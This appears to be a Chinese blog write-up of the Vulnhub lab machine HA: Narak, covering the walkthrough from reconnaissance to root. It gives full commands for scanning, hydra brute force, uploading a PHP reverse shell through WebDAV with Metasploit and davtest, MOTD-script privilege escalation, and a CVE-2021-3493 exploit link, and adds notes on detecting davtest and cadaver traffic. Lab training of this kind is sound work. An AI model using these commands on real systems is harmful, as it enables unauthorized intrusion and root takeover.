Vulnhub靶机:HA_ NARAK

介绍

系列:HA(此系列共17台)
发布日期:2020年9月23日
难度 : 中
目标: 取得 root 权限 + 2 Flag
注释: 使用爆破,使用vmware虚拟机运行
攻击方法:

  • 主机发现
  • 端口扫描
  • 信息收集
  • 密码字典定制
  • 爆破密码
  • webdav漏洞
  • PUT方法上传
  • BF语言解码
  • MOTD注入
  • CVE-2021-3493提权

靶机地址:https://www.vulnhub.com/entry/ha-narak,569/

主机发现

netdiscover主机发现

sudo netdiscover -i eth0 -r 192.168.239.0/24

在这里插入图片描述

主机信息探测

nmap -p- 192.168.239.136
nmap -p22,80 -sV -sC 192.168.239.136

在这里插入图片描述

网站探测

开局就是一些图片,没有什么有价值的信息,目录爆破吧。
在这里插入图片描述

目录爆破

分别进行了常规目录爆破,和文件后缀爆破,发现了需要登录的 webdav 页面,和一个小提示的文本文件

dirsearch -u http://192.168.239.136/ --full-url -x 403
gobuster dir -r -u http://192.168.239.136/ -x txt,html,php -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 100 -e

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

提示文件利用

看到这个提示“creds.txt”的时候,我立即拿着它去浏览器中访问,然而web页面都显示没有这个文件,这让我想不通,网上查询了其他人的打靶笔记后,发现国内的很多人把这个文件定义为一个幌子,说这是靶机作者挖的坑,在忽悠人。在国外网络上,我专门搜索了“Hint to open the door of narak can be found in creds.txt.”在国外的靶机攻略中我发现这个文件是实现登录web页面的钥匙(虽然也可以通过爆破的手段登录web页面)。

国外文章给出的思路是,因为无法通过web目录发现creds.txt”,因此考虑端口扫描,然后发现 69/udp 端口运行着 TFTP 服务,既然如何,为什么nmap全端口扫描没有发现这个端口呢?

  1. 经过抓包分析得知,以下3条最常用的命令都是tcp的,完全没有udp的流量
nmap 192.168.239.136
nmap -p- 192.168.239.136
masscan -p1-65535 192.168.239.136 --rate=10000
  1. 为什么没有人用udp端口扫描?来就来个大的,我这里全端口扫描:nmap -sU 192.168.239.136 -p-

历时一个小时,居然还没扫完,这还玩个蛋蛋!
在这里插入图片描述

如果修改一下命令,减少扫描范围呢?如下图,额,,,好吧,以后把UDP端口扫描纳入到常规检测步骤中。
在这里插入图片描述

连接tftp端口下载文件,经过base64解码得到 webdav 的登录密码。不过可能靶机作者也考虑到了这种信息搜集的姿势较为冷门,因此可以我们还可以通过爬取web页面来生成字典,实现登录框爆破
在这里插入图片描述

hydra爆破web密码

cewl http://192.168.239.136 -w wordlist.txt
hydra -L wordlist.txt -P wordlist.txt http-get://192.168.239.136/webdav

在这里插入图片描述

webdav漏洞

WebDAV是基于Web服务的扩展服务。它允许用户像操作本地文件一样,操作服务器上的文件。借助该功能,用户很方便的在网络上存储自己的文件。为了方便用户使用,通常会提供给用户较大的文件权限,如上传、修改甚至是执行权限。Kali Linux提供了一款WebDAV服务漏洞利用工具DAVTest。该工具会自动检测权限,寻找可执行文件的权限。一旦发现,用户就可以上传内置的后门工具,对服务器进行控制。同时,该工具可以上传用户指定的文件,便于后期利用。

使用账号密码:yamdoot、Swarg,登录之后发现就这德行,怎么搞?有以下思路:

  1. 在web中间件漏洞汇总中,有webdav,可以去验证一波
  2. 在msf中搜索相关漏洞
  3. 使用专业攻击工具 davtest,DAVTest支持:
  • 自动发送文件漏洞
  • 目录自动随机帮助隐藏文件
  • 发送文本文件,并尝试MOVE到可执行文件的名称
  • 上传的文件自动清理
  • 发送任意文件
  1. 使用专业工具 cadaver

在这里插入图片描述

手工-失败

很奇怪,直接把msf、cadaver 的流量照抄到bp中,仅仅修改个文件名,有时能上传成功,有时不能,极其不稳定
在这里插入图片描述

在这里插入图片描述

而如果你检查了OPTIONS方法之后,你会发现靶机不支持PUT方法,因此:

  1. 不能理解为什么OPTIONS方法查不到PUT,但是实际可以使用【下面用2种方式检查靶机支持的web方法】
  2. 为什么工具一传一个准,我照抄它们的流量,或者简单修改都不能上传

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

MSF

注意:一旦msf上传成功,就会在/webdav/目录下看到上传的文件,手工点击文件才能反弹shell成功!否则你会看到这样一句话:“Exploit completed, but no session was created”

search webdav
use exploit/windows/http/xampp_webdav_upload_php
set USERNAME yamdoot
set PASSWORD Swarg
set RHOSTS  192.168.239.136
exploit

在这里插入图片描述

davtest

DAVTest是Kali Linux提供的一款针对WebDAV服务的漏洞利用工具。该工具会自动检测权限,寻找可执行文件的权限。一旦发现,用户就可以上传内置的后门工具,对服务器进行控制。同时,该工具可以上传用户指定的文件,便于后期利用。

  1. 确认可以利用

测试了一下,davtest可以正常上传文件。它创建了一个名为“DavTestDir__U72M0dtN”的文件夹,并往里面上传了一些很多种扩展的文件,并且上传成功了。接着它测试了哪些文件可以正常解析,最后给出了上传成功和执行成功的文件。
在这里插入图片描述

  1. 上传反弹shell文件

找到反弹shell的php文件:/usr/share/webshells/php/php-reverse-shell.php

davtest -url http://192.168.239.136/webdav/ -auth yamdoot:Swarg -uploadfile /usr/share/webshells/php/php-reverse-shell.php -uploadloc rev.php
python3 -c 'import pty; pty.spawn("/bin/bash")'

下面两个参数要同时使用
-uploadfile:上传的文件路径
-uploadloc:文件上传到服务器上的名字

在这里插入图片描述

  1. 防御

davtest的流量特征非常明显,初次探测时,有如下2个强特征

  1. 请求方法
  2. 请求的ua
  3. 可以添加请求头,作为弱特征

在这里插入图片描述

上传文件有如下2个强特征

  1. davtest投递的文件,文件名默认是“DavTestDir”开头
  2. davtest的ua头
  3. 由于上传文件需要登录,因此Authorization头部,这个特征是否检测看个人了

在这里插入图片描述

cadaver

  1. 介绍:

WEBDAV是基于HTTP 1.1的扩展协议,其支持使用PUT方法上传文件,基于这个特性可以实现功能强大的内容或配置管理系统。但丰富的功能特性总是会带来安全方面的更多隐患。Cadaver是一个文件上传漏洞的检测和验证工具,cadaver作为一个命令行形式的WEBDAV客户端程序,可以对相应服务器进行任何操作。

  1. 攻击:

上传文件,nc监听,获取反弹shell
在这里插入图片描述

  1. 防御:

ua特征明显
在这里插入图片描述

反弹shell

敏感信息收集-flag1

在这里插入图片描述

搜索权限配置不当文件

常规的提权手段无效,敏感信息收集无果,需要通过别的方式来扩大搜索。
通过如下命令搜索靶机上,文件所有者是root、文件具有可执行权限、其他用户具有可写权限 的所有文件。然后就看到了一堆奇怪的字符,这些字符之前在别的靶机上面见到过:HACKNOS: OS-HACKNOS,访问如下网站即可解密:https://www.splitbrain.org/services/ook,当然,你也可以百度搜索这些奇怪字符,网上可以找到相关解密网站。

find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null

在这里插入图片描述

解密得到:chitragupt

切换身份-ssh欢迎信息引发提权

废了这么老大力气,得到一组密码,经过尝试,切换身份为 inferno,再来一波:

find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null

在这里插入图片描述

这里的提权思路很刁钻,通过上述命令搜索靶机上,文件所有者是root、文件具有可执行权限、其他用户具有可写权限 的所有文件,结果发现了这些文件中有/etc/update-motd.d/00-header。当我ssh连接的时候看到了一个欢迎信息,这个欢迎信息就是/etc/update-motd.d/00-header脚本自动运行后才有的。
这个时候提权的思路就很多了,既可以反弹shell,也可以直接改写root的密码,我这里选择极为简便的改写root密码实现提权。
在这里插入图片描述

内核漏洞提权 CVE-2021-3493

非常老生成谈的一个提权漏洞了
下载exp:https://github.com/briskets/CVE-2021-3493

在这里插入图片描述
在这里插入图片描述

总结

在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值